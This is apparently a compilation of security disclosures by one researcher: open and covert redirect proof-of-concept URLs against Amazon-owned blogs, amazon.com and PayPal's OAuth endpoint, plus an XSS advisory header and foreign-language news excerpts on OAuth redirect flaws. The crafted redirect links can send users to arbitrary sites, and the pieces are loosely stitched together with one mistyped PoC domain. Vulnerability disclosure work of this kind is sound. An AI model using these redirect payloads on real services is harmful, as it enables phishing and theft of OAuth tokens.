Amazon Covert Redirect Bug Based on Kindle Daily Post, Omnivoracious, Car Lust

Amazon Covert Redirect Bug Based on Kindle Daily Post, Omnivoracious, Car Lust

-- Amazon Covert Redirect Based on Kindle Daily Post, Omnivoracious, Car Lust & kindlepost.com, omnivoracious.com, carlustblog.com Open Redirect Web Security Vulnerabilities

Domains:

http://www.amazon.com

"Amazon.com, Inc. (/ˈæməzɒn/ or /ˈæməzən/) is an American electronic commerce company with headquarters in Seattle, Washington. It is the largest Internet-based retailer in the United States. Amazon.com started as an online bookstore, but soon diversified, selling DVDs, Blu-rays, CDs, video downloads/streaming, MP3 downloads/streaming, software, video games, electronics, apparel, furniture, food, toys and jewelry. The company also produces consumer electronics—notably, Amazon Kindle e-book readers, Fire tablets, Fire TV and Fire Phone — and is a major provider of cloud computing services. Amazon also sells certain low-end products like USB cables under its inhouse brand AmazonBasics. Amazon has separate retail websites for United States, United Kingdom & Ireland, France, Canada, Germany, The Netherlands, Italy, Spain, Australia, Brazil, Japan, China, India and Mexico. Amazon also offers international shipping to certain other countries for some of its products. In 2011, it had professed an intention to launch its websites in Poland and Sweden." (Wikipedia)

All kindlepost.com, omnivoracious.com, carlustblog.com are websites belonging to Amazon.

(a) http://www.kindlepost.com

"The Kindle Post keeps Kindle customers up-to-date on the latest Kindle news and information and passes along fun reading recommendations, author interviews, and more."

(b) http://www.omnivoracious.com

"Omnivoracious is a blog run by the books editors at Amazon.com. We aim to share our passion for the written word through news, reviews, interviews, and more. This is our space to talk books and publishing frankly and we welcome participation through comments. Please visit often or add us to your favorite RSS reader to keep up on the latest information."

(c) http://www.carlustblog.com

"Car Lust is, very simply, where interesting cars meet irrational emotion. It's a deeply personal exploration of the hidden gems of the automotive world; a twisted look into a car nut's mind; and a quirky look at the broader automotive universe - a broader universe that lies beneath the new, the flashy, and the trendy represented in the car magazines."

Discover and Reporter:

Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)

http://www.tetraph.com/wangjing/

Vulnerabilities Description:

Amazon has a computer bug security problem. Both Amazon itself and its websites are vulnerable to different kind of attacks. This allows hackers to do phishing attacks to Amazon users.

When a user is redirected from amazon to another site, amazon will check a variable named "token". Every redirected website will be given one token. This idea is OK. However, all URLs related to the redirected website use the same token. This means if the authenticated site itself has Open Redirect vulnerabilities. Then victims can be redirected to any site from Amazon.

The program code flaw can be attacked without user login. Tests were performed on Microsoft IE (9 9.0.8112.16421) of Windows 7, Mozilla Firefox (37.0.2) & Google Chromium 42.0.2311 (64-bit) of Ubuntu (14.04.2)，Apple Safari 6.1.6 of Mac OS X v10.9 Mavericks.

Use a website for the following tests. The website is "http://www.diebiyi.com/articles". Suppose this website is malicious, 

(1) Kindle Daily Post Open Redirect & Amazon Covert Redirect Based on kindlepost.com

(1.1) Kindle Daily Post Open Redirect Security Vulnerability

Vulnerable Links:

http://www.kindlepost.com/.services/sitelogout?to=https%3A%2F%2Fwww.typekey.com%2Ft%2Ftypekey%2F%3F__mode%3Dlogout%26_return%3Dhttp%253A%252F%252Fwww.kindlepost.com%252F2013%252F03%252Fqa-with-rainbow-rowell-author-of-eleanor-park.html

Poc:

http://www.kindlepost.com/.services/sitelogout?to=http%3A%2F%2Fwww.diebiyi.com%3F%26_return%3Dhttp%253A%252F%252Fwww.kindlepost.com

(1.2) Amazon Covert Redirect Based on kindlepost.com

Vulnerable URL of Amazon:

http://www.amazon.com/gp/redirect.html?location=http://www.kindlepost.com/2014/02/index.html&token=97EABBFF98EABCEDF090385394AD488FF77F2E0D

POC:

http://www.amazon.com/gp/redirect.html?location=http%3A%2F%2Fwww.kindlepost.com%2F.services%2Fsitelogout%3Fto%3Dhttp%253A%252F%252Fwww.diebiyi.com%253F%2526_return%253Dhttp%25253A%25252F%25252Fwww.kindlepost.com&token=97EABBFF98EABCEDF090385394AD488FF77F2E0D

(2) Omnivoracious Open Redirect & Amazon Covert Redirect Based on omnivoracious.com

(2.1) Omnivoracious Open Redirect Security Vulnerability

Vulnerable Links:

http://www.omnivoracious.com/.services/sitelogout?to=https%3A%2F%2Fwww.bing.com%2Ft%2Ftypekey%2F%3F__mode%3Dlogout%26_return%3Dhttp%253A%252F%252Fwww.omnivoracious.com%252F2008%252F05%252Flicensed-to-thr.html

POC:

http://www.omnivoracious.com/.services/sitelogout?to=http%3A%2F%2Fwww.tetraph.com%3F%26_return%3Dhttp%253A%252F%252Fwww.omnivoracious.com

(2.2)  Amazon Covert Redirect Based on omnivoracious.com

Vulnerable URL:

http://www.amazon.com/gp/redirect.html?location=http://www.omnivoracious.com/2014/01/women-in-wartime-four-new-historical-novels.html&token=7B08D69EFB23F01C31332A4EB1A38F4804AAB087

POC:

http://www.amazon.com/gp/redirect.html?location=http%3A%2F%2Fwww.omnivoracious.com%2F.services%2Fsitelogout%3Fto%3Dhttp%253A%252F%252Fwww.xinhuanet.com%253F%2526_return%253Dhttp%25253A%25252F%25252Fwww.omnivoracious.com&token=7B08D69EFB23F01C31332A4EB1A38F4804AAB087

(3) Car Lust Open Redirect & Amazon Covert Redirect Based on carlustblog.com

(3.1) Car Lust Open Redirect Security Vulnerability

Vulnerable Links:

http://www.carlustblog.com/.services/sitelogout?to=http%3A%2F%2Fwww.xvideos.com%3F%26_return%3Dhttp%253A%252F%252Fwww.carlustblog.com

POC:

http://www.carlustblog.com/.services/sitelogout?to=http%3A%2F%2Fwww.kickass.so%3F%26_return%3Dhttp%253A%252F%252Fwww.carlustblog.com

(3.2)  Amazon Covert Redirect Based on carlustblog.com

Vulnerable URL:

http://www.amazon.com/gp/redirect.html?location=http://www.carlustblog.com/2014/01/gmc-canyon-isuzu-i-series-and-chevrolet-colorado-gmt355-platform.html&token=E0915379AEBDF40D2C90D4882003C7011F43D80

POC:

http://www.amazon.com/gp/redirect.html?location=http%3A%2F%2Fwww.varlustblog.com%2F.services%2Fsitelogout%3Fto%3Dhttp%253A%252F%252Fwww.inzeed.com%253F%2526_return%253Dhttp%25253A%25252F%25252Fwww.omnivoracious.com&token=E0915379AEBDF40D2C90D4882003C7011F43D80

Vulnerabilities Disclosure:

The vulnerabilities were reported to Amazon in 2014. Amazon has patch the vulnerabilities.

POC Video:

https://www.youtube.com/watch?v=UE_-AdA-zpQ&feature=youtu.be

Related Articles:

http://seclists.org/fulldisclosure/2015/Jan/23

http://lists.openwall.net/full-disclosure/2015/01/12/2

http://www.tetraph.com/blog/computer-security/amazon-covert-redirect/

https://progressive-comp.com/?l=full-disclosure&m=142104346821481&w=1

http://computerobsess.blogspot.com/2015/06/amazon-covert-redirect_17.html

http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1429

http://tetraph.blog.163.com/blog/static/23460305120155176411897/
http://diebiyi.com/articles/security/amazon-covert-redirect/

https://itswift.wordpress.com/2015/01/17/amazon-covert-redirect/

http://marc.info/?l=full-disclosure&m=142104346821481&w=4

http://securityrelated.blogspot.com/2015/01/amazon-covert-redirec

http://www.inzeed.com/kaleidoscope/computer-web-security/amazon-covert-redirect/

CVE-2015-2349 – SuperWebMailer 5.50.0.01160 XSS (Cross-site Scripting) Web Security Vulnerabilities

CVE-2015-2349 – SuperWebMailer 5.50.0.01160 XSS (Cross-site Scripting) Web Security Vulnerabilities


Exploit Title: CVE-2015-2349 – SuperWebMailer /defaultnewsletter.php” HTMLForm Parameter XSS Web Security Vulnerabilities
Product: SuperWebMailer
Vendor: SuperWebMailer
Vulnerable Versions: 5.*.0.*   4.*.0.*
Tested Version: 5.*.0.*   4.*.0.*
Advisory Publication: March 11, 2015
Latest Update: May 03, 2015
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2015-2349
Impact CVSS Severity (version 2.0):
CVSS v2 Base Score: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:P/A:N) (legend)
Impact Subscore: 2.9
Exploitability Subscore: 8.6
CVSS Version 2 Metrics:
Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism
Access Complexity: Medium
Authentication: Not required to exploit
Impact Type: Allows unauthorized modification
Author and Creditor: Jing Wang [School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore] (@justqdjing)







Information Details:


(1) Vendor & Product Description:


Vendor:
SuperWebMailer



Product & Vulnerable Versions:
SuperWebMailer
5.60.0.01190
5.50.0.01160
5.40.0.01145
5.30.0.01123
5.20.0.01113
5.10.0.00982
5.05.0.00970
5.02.0.00965
5.00.0.00962
4.50.0.00930
4.40.0.00917
4.31.0.00914
4.30.0.00907
4.20.0.00892
4.10.0.00875


Vendor URL & Download:
SuperWebMailer can be gained from here,
http://www.superwebmailer.de/



Product Introduction Overview:
“Super webmail is a web-based PHP Newsletter Software. The web-based PHP Newsletter Software Super webmail is the optimal solution for the implementation of a successful e-mail marketing.”

“To use the online PHP Newsletter Script is your own website / server with PHP 4 or newer, MySQL 3.23 or later and the execution of CronJobs required. Once installed, the online newsletter software Super webmail can be served directly in the browser. The PHP Newsletter Tool Super webmail can therefore be used platform-independent all operating systems such as Windows, Linux, Apple Macintosh, with Internet access worldwide. The PHP Newsletter Script allows you to manage your newsletter recipients including registration and deregistration from the newsletter mailing list by double-opt In, Double Opt-Out and automatic bounce management. Send online your personalized newsletter / e-mails in HTML and Text format with embedded images and attachments immediately in the browser or by CronJob script in the background immediately or at a later. With the integrated tracking function to monitor the success of the newsletter mailing, if thereby the openings of the newsletter and clicks on links in the newsletter graphically evaluated and presented. Put the integrated autoresponder to autorun absence messages or the receipt of e-mails to confirm.”

“It is now included CKEditor 4.4.7. An upgrade to the latest version is recommended as an in CKEditor 4.4.5 Vulnerability found. Super webmail from immediately contains new chart component for the statistics that do not need a flash and are therefore also represented on Apple devices. For the Newsletter tracking statistics is now an easy print version of the charts available that can be printed or saved with PDF printer driver installed in a PDF file. When viewing the e-mails in the mailing lists of the sender of the email is displayed in a column that sent the e-mail to the mailing list. For form creation for the newsletter subscription / cancellation are now available variant”





(2) Vulnerability Details:
SuperWebMailer web application has a computer security bug problem. It can be exploited by XSS attacks. This may allow a remote attacker to create a specially crafted request that would execute arbitrary script code in a user’s browser session within the trust relationship between their browser and the server. 


Several other related products 0-day vulnerabilities have been found by some other bug hunter researchers before. SuperWebMailer has patched some of them. FusionVM Vulnerability Management and Compliance provides sources for the latest info-sec news, tools, and advisories. It has published suggestions, advisories, solutions details related to web application vulnerabilities.

(2.1) The programming code flaw occurs at “&HTMLForm” parameter in “defaultnewsletter.php?” page.








Related Results:
http://seclists.org/fulldisclosure/2015/Mar/55
http://www.securityfocus.com/bid/73063
http://lists.openwall.net/full-disclosure/2015/03/07/3
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1819
http://packetstormsecurity.com/files/131288/ECE-Projects-Cross-Site-Scripting.html
http://static-173-79-223-25.washdc.fios.verizon.net/?l=full-disclosure&m=142551542201539&w=2
https://cxsecurity.com/issue/WLB-2015030043
http://aibiyi.lofter.com/post/1cc9f4e9_6edf9bf
http://tetraph.tumblr.com/post/118764414962/canghaixiao-cve-2015-2349-superwebmailer

http://canghaixiao.tumblr.com/post/118764381217/cve-2015-2349-superwebmailer-5-50-0-01160-xss
http://essaybeans.lofter.com/post/1cc77d20_6edf28c
https://www.facebook.com/essaybeans/posts/561250300683107
https://twitter.com/essayjeans/status/598021595974602752
https://www.facebook.com/pcwebsecurities/posts/687478118064775
http://tetraph.blog.163.com/blog/static/234603051201541231655569/
https://plus.google.com/112682696109623633489/posts/djqcrDw5dQp
http://essayjeans.blogspot.com/2015/05/cve-2015-2349-superwebmailer-550001160.html
https://mathfas.wordpress.com/2015/05/12/cve-2015-2349-superwebmailer-5-50-0-01160-xss/
http://www.tetraph.com/blog/xss-vulnerability/cve-2015-2349-superwebmailer-5-50-0-01160-xss/
https://vulnerabilitypost.wordpress.com/2015/05/12/cve-2015-2349-superwebmailer-5-50-0-01160-xss/
http://aibiyi.blogspot.com/2015/05/cve-2015-2349-superwebmailer-550001160.html

Alvorlig feil i utbredt innloggingssystem

Alvorlig feil i utbredt innloggingssystem

Benyttes av Facebook, Google, Yahoo, LinkedIn, Microsoft og mange flere.

Wang Jing, en doktorgradstudent ved Nanyang Technological University i Singapore, har oppdaget en alvorlig sårbarhet knyttet til autentiseringssystemene OAuth 2.0 og OpenID. Sårbarheten, som er av typen «covert redirect», dreier seg om at en applikasjon tar en parameter og omdirigerer en bruker til parameteren uten tilstrekkelig validering. Ifølge Jing skyldes dette ofte at nettsteder har for stor tillit til sine partnere.

– Nettstedet sjekker domenenavnet mot et «token» (tildelt til partneren som et middel for verifisering) i den omdirigerte URL-en. Dersom paret er i godkjent-listen i nettstedets database, vil det tillate omdirigeringen. Men dersom URL-en tilhører et domene som har en «open redirect»-sårbarhet, kan brukerne omdirigeres fra nettstedet til et sårbart nettsted og deretter til en ondsinnet nettsted, skriver Jing.

http://www.digi.no/928515/alvorlig-feil-i-utbredt-innloggingssystem

Covert Redirect Mengancam OAuth 2.0 dan OpenID

 Pada Jumat lalu, Wang Jing, seorang mahasiswa program PhD di Nanyang Technological University di Singapura, menerbitkan sebuah laporan yang memjabarkan tentang metode serangan yang disebut dengan “Covert Redirect” dan memperkenalkannya sebagai kerentanan atau vulnerable di OAuth 2.0 dan OpenID.

Cara kerja OAuth 2.0 dan OpenID sendiri adalah dengan memberikan akses bagi pengguna layanan ini untuk mendapatkan domain yang dapat mengakses menggunakan kredensial yang telah ada kepada website lain seperti Facebook, Google, Microsoft atau LinkedIn. Dengan akses yang didapatkan pengguna layanan ini dapat menghapus sebuah akun dan menggantinya dengan akun yang baru.




http://www.inzeed.com/kaleidoscope/computer-security/covert-redirect-mengancam-oauth-2-0-dan-openid/

Keep calm e fate attenzione: OpenID e OAuth sono vulnerabili

Keep calm e fate attenzione: OpenID e OAuth sono vulnerabili





Solo un paio di settimane dopo il preoccupante bug conosciuto come Heartbleed, un utente di Internet come me e voi ha scoperto una nuova e a quanto pare diffusa vulnerabilità, anche questa non facile da  risolvere. Si tratta del bug “Covert redirection”, scoperto di recente da Wang Jing, uno dottorando in matematica presso la Nanyang Technological University di Singapore. Il problema è stato riscontrato all’interno dei popolari protocolli Internet OpenID e OAuth. Il primo protocollo viene utilizzato quando si cerca di accedere a un sito web usando le credeziali già create per i servizi di Google, Facebook o LinkedIn. Il secondo viene utilizzato quando si autorizza un sito web, una app o alcuni servizi con Facebook, Google +, ecc… senza rivelare di fatto la password e le credenziali a siti esterni. Questi due metodi vengono spesso usati insieme e, a quanto pare, potrebbero permettere ai cybercriminali di mettere mano sulle informazioni degli utenti.








La minaccia
Su Threatpost sono disponibili maggiori informazioni tecniche sul bug e un link alla ricerca originale, in inglese. Ma andiamo la sodo e osserviamo come funziona un possibile attacco e quali sarebbero le sue conseguenze. In primo luogo, affinché si verifichi il problema, un utente dovrebbe visitare un sito di phishing dannoso dotato del tipico “Accedi con Facebook”. Il sito potrebbe assomigliare del tutto a un servizio popolare esterno, fingendosi e proponendosi come un nuovo servizio. Poi il vero Facebook, Google +  o LinkedIn lancia una popup che invita l’utente a inserire le credenziali di login e la password per autorizzare i servizi appena menzionati (e in teoria “rispettabili”) e permettere all’utente di accedere. Nell’ultima fase, l’autorizzazione a usare il profilo viene inviata a un sito diverso (di phishing), “redirezionando” le informazioni in forma impropria.






http://blog.kaspersky.it/facebook-openid-oauth-vulnerabili/3639/

Paypal Online Website OAuth 2.0 Covert Redirect (OpenIDconnect) Web Security Bugs (Information Leakage & Open Redirect)

 














Paypal Online Website OAuth 2.0 Covert Redirect (OpenIDconnect) Web Security Bugs (Information Leakage & Open Redirect)



(1) Domain:
paypal.com


"PayPal is an American worldwide online payments system. Online money transfers serve as electronic alternatives to traditional paper methods like checks and money orders. PayPal is one of the world's largest internet payment companies.The company operates as an acquirer, performing payment processing for online vendors, auction sites and other commercial users, for which it charges a fee. Established in 1998, PayPal (NASDAQ: PYPL) had its IPO in 2002, and became a wholly owned subsidiary of eBay later that year. In 2014, PayPal moved $228 billion in 26 currencies across more than 190 nations, generating a total revenue of $7.9 billion (44% of eBay’s total profits). The same year, eBay announced plans to spin-off PayPal into an independent company the following year." (Wikipedia)







(2) Vulnerability Description:
Paypal web application has a computer security problem. Hacker can exploit it by Covert Redirect cyber attacks. 


The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04)，Apple Safari 6.1.6 of Mac OS X Lion 10.7. 

(2.1) Vulnerability Detail:

PayPal's OAuth 2.0 system is susceptible to Attacks. More specifically, the authentication of parameter "&redirct_uri" in OAuth 2.0 system is insufficient. It can be misused to design Open Redirect Attacks to PayPal.

At the same time, it can be used to collect sensitive information of both third-party app and users by using the following parameters,

"&response_type"=code,token...

"&scope"=email,user_birthday,user_likes...

It increases the likelihood of successful Open Redirect Attacks to third-party websites, too.

The vulnerability occurs at page "/openidconnect/v1/authorize?" with parameter "&redirect_uri", e.g.

https://www.paypal.com/webapps/auth/protocol/openidconnect/v1/authorize?response_type=code&client_id=AYks8xDwuEFgkvBm5gtvn9dpJ0y4yadc-1JRqMgFiWwsjNLYfOcqELLTK7a0&redirect_uri=https%3A%2F%2Flogin.constantcontact.com%2Flogin%2Flogin.sdo%3Fgoto%3Dhttps%253A%252F%252Fwww.constantcontact.com%252Fprocessing_login.jsp%253FOriginalURL%253Dhttp%25253A%25252F%25252Ftetraph.com&nonce=2018261240&newUI=Y&scope=openid%20email [1]

Before acceptance of third-party application:

When a logged-in PayPal user clicks the URL ([1]) above, he/she will be asked for consent as in whether to allow a third-party website to receive his/her information. If the user clicks OK, he/she will be then redirected to the URL assigned to the parameter "&redirect_uri".

If a user has not logged onto PayPal and clicks the URL ([1]) above, the same situation will happen upon login.

After acceptance of third-party application:

A logged-in PayPal user would no longer be asked for consent and could be redirected to a webpage controlled by the attacker when he/she clicks the URL ([1]).

For a user who has not logged in, the attack could still be completed after a pop-up page that prompts him/her to log in.

(2.1.1) PayPal would normally allow all the URLs that belong to the domain of an authorized third-party website. However, these URLs could be prone to manipulation. For example, the "&redirect_uri" parameter in the URLs is supposed to be set by the third-party websites, but an attacker could change its value to make Attacks. 

Hence, a user could be redirected from PayPal to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site unwillingly. This is as if the user is redirected from PayPal directly. The number of PayPal's OAuth 2.0 client websites is so huge that such Attacks could be commonplace.

Before acceptance of the third-party application, PayPal's OAuth 2.0 system makes the redirects appear more trustworthy and could potentially increase the likelihood of successful Open Redirect Attacks of third-party website.

Once the user accepts the application, the attackers could completely bypass PayPal's authentication system and attack more easily.

It might be of PayPal's interest to patch up against such attacks. 

(2.2) Used one of webpages for the following tests. The webpage is "http://essayjeanslike.lofter.com/". Can suppose it is malicious and contains code that collect sensitive information of both third-party app and users.

Below is an example of a vulnerable third-party domain:

constantcontact.com

Vulnerable URL in this domain:

https://www.constantcontact.com/uk/login.jsp?OriginalURL=http%3A%2F%2Ftetraph.com

Vulnerable URL from PayPal that is related to constantcontact.com:

https://www.paypal.com/webapps/auth/protocol/openidconnect/v1/authorize?response_type=token&client_id=AYks8xDwuEFgkvBm5gtvn9dpJ0y4yadc-1JRqMgFiWwsjNLYfOcqELLTK7a0&redirect_uri=https%3A%2F%2Flogin.constantcontact.com%2Flogin%2FpaypalAuthorizer&nonce=1309098572&newUI=Y&scope=openid%20email

POC:

https://www.paypal.com/webapps/auth/protocol/openidconnect/v1/authorize?response_type=code&client_id=AYks8xDwuEFgkvBm5gtvn9dpJ0y4yadc-1JRqMgFiWwsjNLYfOcqELLTK7a0&redirect_uri=https%3A%2F%2Flogin.constantcontact.com%2Flogin%2Flogin.sdo%3Fgoto%3Dhttps%253A%252F%252Fwww.constantcontact.com%252Fprocessing_login.jsp%253FOriginalURL%253Dhttp%25253A%25252F%25252Ftetraph.com&nonce=2018261240&newUI=Y&scope=email,read_stream,publish_stream&display=page

POC Video:
https://www.youtube.com/watch?v=TVtLA1YzIBs


Blog Detail:
http://tetraph.blogspot.com/2014/05/paypal-oauth-20-openidconnect-covert.html

(3) What is Covert Redirect? 

Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS (Cross-site Scripting) vulnerabilities in third-party applications.

Covert Redirect is also related to single sign-on. It is known by its influence on OAuth and OpenID. Hacker may use it to steal users' sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect can work together with CSRF (Cross-site Request Forgery) as well.

Discover and Reporter:

Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)

http://tetraph.com/wangjing/

Related Articles:
http://tetraph.com/security/covert-redirect/paypal-oauth-2-0-openidconnect-covert-redirect-vulnerability/
http://ithut.tumblr.com/post/119493112323/securitypost-sicherheitslucke-in-oauth-2-0-und
https://twitter.com/tetraphibious/status/559164333721001984
http://www.inzeed.com/kaleidoscope/covert-redirect/paypal-oauth-2-0-openidconnect-covert-redirect-vulnerability/
http://computerobsess.blogspot.sg/2014/05/paypal-bug.html
https://hackertopic.wordpress.com/2014/05/01/paypal-covert-redirect/
http://ittechnology.lofter.com/post/1cfbf60d_72e61e0
http://securityrelated.blogspot.com/2014/05/paypal-bug.html
http://blog.163.com/tetraph/blog/static/23460305120144612635422
https://webtechwire.wordpress.com/2014/05/02/paypal-covert-redirect/